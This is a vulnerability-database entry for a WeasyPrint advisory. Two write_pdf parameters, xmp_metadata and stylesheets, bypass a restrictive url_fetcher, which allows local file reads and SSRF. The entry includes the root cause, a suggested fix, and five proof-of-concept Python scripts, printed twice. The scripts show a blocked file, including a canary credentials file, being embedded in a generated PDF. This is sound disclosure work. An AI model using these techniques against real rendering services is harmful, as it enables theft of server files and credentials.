PYSEC-2026-3940
Vulnerability from pysec - Published: 2026-09-10 09:45 - Updated: 2026-09-10 11:02Summary
url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.
Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:
xmp_metadata=[url]- the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.stylesheets=[url_or_path]- the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole@import/url()graph.
Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.
Affected versions
All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.
Root cause
select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):
def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
...
if url_fetcher is None:
url_fetcher = URLFetcher()
Five of the seven resource-loading sites thread the document's fetcher correctly:
<link rel=stylesheet>inweasyprint/css/__init__.py<style>inweasyprint/css/__init__.py@importinweasyprint/css/__init__.py@font-face/local()inweasyprint/text/fonts.py@color-profile srcinweasyprint/css/__init__.py- images (
<img>, CSSurl(), SVG) inweasyprint/images.py
Two do not — they build a fresh default fetcher instead:
write_pdf(xmp_metadata=[...])inweasyprint/pdf/__init__.pywrite_pdf(stylesheets=[str])inweasyprint/document.py
xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:
if options['xmp_metadata']:
for url in options['xmp_metadata']:
result = select_source(url) # no url_fetcher
stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():
for css in options['stylesheets'] or []:
if not hasattr(css, 'matcher'):
css = CSS( # no url_fetcher=html.url_fetcher
guess=css, media_type=html.media_type,
font_config=font_config, counter_style=counter_style,
color_profiles=color_profiles)
Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.
Reproduction
Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.
1 - xmp_metadata= reads a file:// the fetcher blocks
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)
# -> True
(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)
2 - stylesheets= applies a blocked file:// sheet (with control)
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True
# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True
3 - the stylesheets= bypass is transitive
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True
4 - xmp_metadata= discloses a credentials file in full
import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True
An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.
5 - scope of the stylesheets= channel (honest bound)
The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888)) # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf) # -> False
Suggested fix
Route both call sites through the document's url_fetcher, matching the five sites that already do this.
pdf/__init__.py-select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrictxmp_metadatato byte strings so no URL fetching occurs.)document.py-CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.
| Name | purl | weasyprint | pkg:pypi/weasyprint |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "weasyprint",
"purl": "pkg:pypi/weasyprint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "70.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1",
"0.10",
"0.11",
"0.12",
"0.13",
"0.14",
"0.15",
"0.16",
"0.17",
"0.17.1",
"0.18",
"0.19",
"0.19.1",
"0.19.2",
"0.2",
"0.2.1",
"0.2.2",
"0.20",
"0.20.1",
"0.20.2",
"0.21",
"0.22",
"0.23",
"0.24",
"0.25",
"0.26",
"0.27",
"0.28",
"0.29",
"0.3",
"0.3.1",
"0.30",
"0.31",
"0.32",
"0.33",
"0.34",
"0.35",
"0.36",
"0.37",
"0.38",
"0.39",
"0.4",
"0.40",
"0.41",
"0.42",
"0.42.1",
"0.42.2",
"0.42.3",
"0.5",
"0.6",
"0.6.1",
"0.7",
"0.7.1",
"0.8",
"0.9",
"43",
"43rc1",
"43rc2",
"44",
"45",
"46",
"47",
"48",
"49",
"50",
"51",
"52",
"52.1",
"52.2",
"52.3",
"52.4",
"52.5",
"53.0",
"53.0b1",
"53.0b2",
"53.1",
"53.2",
"53.3",
"53.4",
"54.0",
"54.0b1",
"54.1",
"54.2",
"54.3",
"55.0",
"55.0b1",
"56.0",
"56.0b1",
"56.1",
"57.0",
"57.0b1",
"57.1",
"57.2",
"58.0",
"58.0b1",
"58.1",
"59.0",
"59.0b1",
"60.0",
"60.1",
"60.2",
"61.0",
"61.1",
"61.2",
"62.0",
"62.1",
"62.2",
"62.3",
"63.0",
"63.1",
"64.0",
"64.1",
"65.0",
"65.1",
"66.0",
"67.0",
"68.0",
"68.1",
"69.0"
]
}
],
"aliases": [
"CVE-2026-55073",
"GHSA-jf6q-chmf-3h3v"
],
"details": "## Summary\n\n`url_fetcher` is WeasyPrint\u0027s documented mechanism for restricting resource loading - applications use it to block `file://`, internal hosts, etc. when rendering untrusted input.\n\nTwo `write_pdf()` channels ignore the document\u0027s `url_fetcher` and build a fresh default `URLFetcher()` instead. A restrictive fetcher set on `HTML()` is silently bypassed for:\n\n- **`xmp_metadata=[url]`** - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an **arbitrary local file read** when the path is attacker-influenced.\n- **`stylesheets=[url_or_path]`** - the sheet is fetched and applied. This is **SSRF / arbitrary local-or-internal resource loading**, and it is **transitive**: the permissive fetcher propagates through the whole `@import` / `url()` graph.\n\nApplications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive `url_fetcher` to block `file://` or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.\n\n## Affected versions\n\nAll versions through current `main` - v69.0, commit `2945986160dedd97a7547be03805b667964e422a`.\n\n## Root cause\n\n`select_source()` defaults to a fresh fetcher when none is passed (`weasyprint/urls.py`):\n\n```python\ndef select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):\n ...\n if url_fetcher is None:\n url_fetcher = URLFetcher()\n```\n\nFive of the seven resource-loading sites thread the document\u0027s fetcher correctly:\n\n- `\u003clink rel=stylesheet\u003e` in `weasyprint/css/__init__.py`\n- `\u003cstyle\u003e` in `weasyprint/css/__init__.py`\n- `@import` in `weasyprint/css/__init__.py`\n- `@font-face` / `local()` in `weasyprint/text/fonts.py`\n- `@color-profile src` in `weasyprint/css/__init__.py`\n- images (`\u003cimg\u003e`, CSS `url()`, SVG) in `weasyprint/images.py`\n\nTwo do **not** \u2014 they build a fresh default fetcher instead:\n\n- `write_pdf(xmp_metadata=[...])` in `weasyprint/pdf/__init__.py`\n- `write_pdf(stylesheets=[str])` in `weasyprint/document.py`\n\n**`xmp_metadata`** - `pdf/__init__.py` calls `select_source(url)` with no `url_fetcher`, so the default fetcher runs regardless of what the caller configured:\n\n```python\nif options[\u0027xmp_metadata\u0027]:\n for url in options[\u0027xmp_metadata\u0027]:\n result = select_source(url) # no url_fetcher\n```\n\n**`stylesheets`** - `document.py` builds each sheet without passing `url_fetcher`, and `CSS.__init__` then defaults to a fresh `URLFetcher()`:\n\n```python\nfor css in options[\u0027stylesheets\u0027] or []:\n if not hasattr(css, \u0027matcher\u0027):\n css = CSS( # no url_fetcher=html.url_fetcher\n guess=css, media_type=html.media_type,\n font_config=font_config, counter_style=counter_style,\n color_profiles=color_profiles)\n```\n\nBecause `@import` / `url()` inherit a CSS object\u0027s fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.\n\n## Reproduction\n\nEach script defines a `Block` fetcher that refuses every `file://`, writes its own fixture to a temp dir, and prints a boolean. `True` means the restrictive fetcher was bypassed. No external files or network needed.\n\n### 1 - `xmp_metadata=` reads a `file://` the fetcher blocks\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027secret.xmp\u0027)\nopen(path, \u0027wb\u0027).write(b\u0027CANARY_XMP_LEAK_7f3a9c\u0027)\npdf = HTML(string=\u0027\u003cp\u003ehi\u003c/p\u003e\u0027, url_fetcher=Block()).write_pdf(\n xmp_metadata=[\u0027file://\u0027 + path], pdf_variant=\u0027pdf/a-3b\u0027, uncompressed_pdf=True)\nprint(\u0027secret file leaked into PDF:\u0027, b\u0027CANARY_XMP_LEAK_7f3a9c\u0027 in pdf)\n# -\u003e True\n```\n\n(`pdf_variant=\u0027pdf/a-3b\u0027` makes the embedded bytes observable in the output; the read happens regardless of variant.)\n\n### 2 - `stylesheets=` applies a blocked `file://` sheet (with control)\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027evil.css\u0027)\nopen(path, \u0027w\u0027).write(\u0027@page { size: 1234px 5678px }\u0027)\n\ndoc = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).render(stylesheets=[\u0027file://\u0027 + path])\np = doc.pages[0]\nprint(\u0027evil.css applied via stylesheets=:\u0027, (round(p.width), round(p.height)) == (1234, 5678))\n# -\u003e True\n\n# Control: the same sheet via \u003clink rel=stylesheet\u003e is NOT applied (the fetcher blocks it;\n# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the\n# gap is specific to stylesheets= and not a misconfigured fetcher.\nctrl = HTML(string=\u0027\u003clink rel=\"stylesheet\" href=\"file://%s\"\u003e\u003cp\u003ex\u003c/p\u003e\u0027 % path,\n url_fetcher=Block()).render()\ncp = ctrl.pages[0]\nprint(\u0027control \u003clink\u003e correctly blocked:\u0027, (round(cp.width), round(cp.height)) != (1234, 5678))\n# -\u003e True\n```\n\n### 3 - the `stylesheets=` bypass is transitive\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\ninner = os.path.join(d, \u0027inner.css\u0027)\nouter = os.path.join(d, \u0027outer.css\u0027)\nopen(inner, \u0027w\u0027).write(\u0027@page { size: 333px 777px }\u0027)\nopen(outer, \u0027w\u0027).write(\u0027@import url(\"file://%s\");\u0027 % inner)\ndoc = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).render(stylesheets=[\u0027file://\u0027 + outer])\np = doc.pages[0]\nprint(\u0027nested @import applied transitively:\u0027, (round(p.width), round(p.height)) == (333, 777))\n# -\u003e True\n```\n\n### 4 - `xmp_metadata=` discloses a credentials file in full\n\n```python\nimport os, json, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\ncreds = {\u0027db_name\u0027: \u0027CANARY_DB_NAME\u0027, \u0027db_password\u0027: \u0027CANARY_PASSWORD_a3f7e9c2\u0027,\n \u0027encryption_key\u0027: \u0027CANARY_ENC_KEY_b8d4f6a1\u0027, \u0027secret_key\u0027: \u0027CANARY_SECRET_KEY_c5e9d2b7\u0027}\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027site_config.json\u0027)\njson.dump(creds, open(path, \u0027w\u0027))\npdf = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).write_pdf(\n xmp_metadata=[\u0027file://\u0027 + path], pdf_variant=\u0027pdf/a-3b\u0027, uncompressed_pdf=True)\nprint(\u0027all credential fields leaked into PDF:\u0027, all(v.encode() in pdf for v in creds.values()))\n# -\u003e True\n```\n\nAn attacker who controls the `xmp_metadata` path reads any file the rendering process can access and receives its contents in the generated PDF.\n\n### 5 - scope of the `stylesheets=` channel (honest bound)\n\nThe sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, **not** verbatim disclosure on its own.\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027secrets.css\u0027)\nopen(path, \u0027w\u0027).write(\u0027/* CANARY_SECRET_e2a8c5d4 */\\n@page { size: 999px 888px }\u0027)\nhtml = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block())\ndoc = html.render(stylesheets=[\u0027file://\u0027 + path])\npdf = html.write_pdf(stylesheets=[\u0027file://\u0027 + path], uncompressed_pdf=True)\np = doc.pages[0]\nprint(\u0027sheet applied (bypass):\u0027, (round(p.width), round(p.height)) == (999, 888)) # -\u003e True\nprint(\u0027comment leaked verbatim:\u0027, b\u0027CANARY_SECRET_e2a8c5d4\u0027 in pdf) # -\u003e False\n```\n\n## Suggested fix\n\nRoute both call sites through the document\u0027s `url_fetcher`, matching the five sites that already do this.\n\n- **`pdf/__init__.py`** - `select_source(url, url_fetcher=self.url_fetcher)`. (Alternatively, restrict `xmp_metadata` to byte strings so no URL fetching occurs.)\n- **`document.py`** - `CSS(guess=css, ..., url_fetcher=html.url_fetcher)`. This one change also closes the transitive case, since imported sheets inherit the parent\u0027s fetcher.",
"id": "PYSEC-2026-3940",
"modified": "2026-09-10T11:02:36.458342Z",
"published": "2026-09-10T09:45:01.386776Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jf6q-chmf-3h3v"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kozea/WeasyPrint"
},
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/releases/tag/v70.0"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/weasyprint"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-jf6q-chmf-3h3v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55073"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "weasyprint Has Server-Side Request Forgery (SSRF)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.